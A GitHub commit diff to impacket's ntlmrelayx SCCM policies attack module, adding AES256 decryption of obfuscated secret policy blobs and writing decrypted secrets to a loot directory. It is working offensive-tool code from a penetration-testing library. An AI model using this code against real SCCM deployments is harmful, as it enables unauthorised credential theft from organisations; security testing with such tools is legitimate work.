Skip to content

Commit 1d223da

Browse files
committed
Add AES256 secret policy blob decryption support
1 parent 578733a commit 1d223da

File tree

1 file changed

+28
-5
lines changed

1 file changed

+28
-5
lines changed

impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py

Lines changed: 28 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -281,7 +281,7 @@ def mscrypt_derive_key_sha1(secret:bytes):
281281
digest2.update(buf2)
282282
hash2 = digest2.finalize()
283283

284-
derived_key = hash1 + hash2[:4]
284+
derived_key = hash1 + hash2
285285
return derived_key
286286

287287
def deobfuscate_secret_policy_blob(output):
@@ -292,12 +292,20 @@ def deobfuscate_secret_policy_blob(output):
292292
buffer = output[64:64+data_length]
293293

294294
key = mscrypt_derive_key_sha1(output[4:4+0x28])
295-
iv = bytes([0] * 8)
296-
cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
295+
blob_prefix = output[:2]
296+
297+
if blob_prefix == b'\x89\x13':
298+
block_cipher_algorithm = algorithms.TripleDES(key[:24])
299+
elif blob_prefix == b'\x8a\x13':
300+
block_cipher_algorithm = algorithms.AES256(key[:32])
301+
302+
iv = bytes([0] * (block_cipher_algorithm.block_size // 8))
303+
cipher = Cipher(block_cipher_algorithm, modes.CBC(iv), backend=default_backend())
304+
297305
decryptor = cipher.decryptor()
298306
decrypted_data = decryptor.update(buffer) + decryptor.finalize()
299307

300-
padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3
308+
padder = padding.PKCS7(block_cipher_algorithm.block_size).unpadder()
301309
decrypted_data = padder.update(decrypted_data) + padder.finalize()
302310

303311
try:
@@ -545,7 +553,22 @@ def secret_policy_process(self, policyID, policy, private_key, client_guid, loot
545553

546554
LOG.debug(f"Found {len(blobs_set.keys())} obfuscated blob(s) in secret policy.")
547555
for i, blob_name in enumerate(blobs_set.keys()):
548-
data = deobfuscate_secret_policy_blob(blobs_set[blob_name])
556+
blob_prefix = bytes.fromhex(blobs_set[blob_name])[:2]
557+
if blob_prefix in (b'\x89\x13', b'\x8a\x13'):
558+
data = deobfuscate_secret_policy_blob(blobs_set[blob_name])
559+
else:
560+
LOG.debug(f"Unable to decrypt obfuscated blob due to unknown blob type with prefix '{blob_prefix.hex()}'.")
561+
continue
562+
563+
# Attempt to pretty-print decrypted XML task sequence blobs prior to file write.
564+
if blob_name == "TS_Sequence":
565+
try:
566+
blobroot = ET.fromstring(clean_junk_in_XML(data))
567+
ET.indent(blobroot)
568+
data = ET.tostring(blobroot, encoding="unicode")
569+
except:
570+
pass
571+
549572
filename = f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}.txt'
550573
with open(filename, 'w') as f:
551574
f.write(f"Secret property name: {blob_name}\n\n")

0 commit comments

Comments
 (0)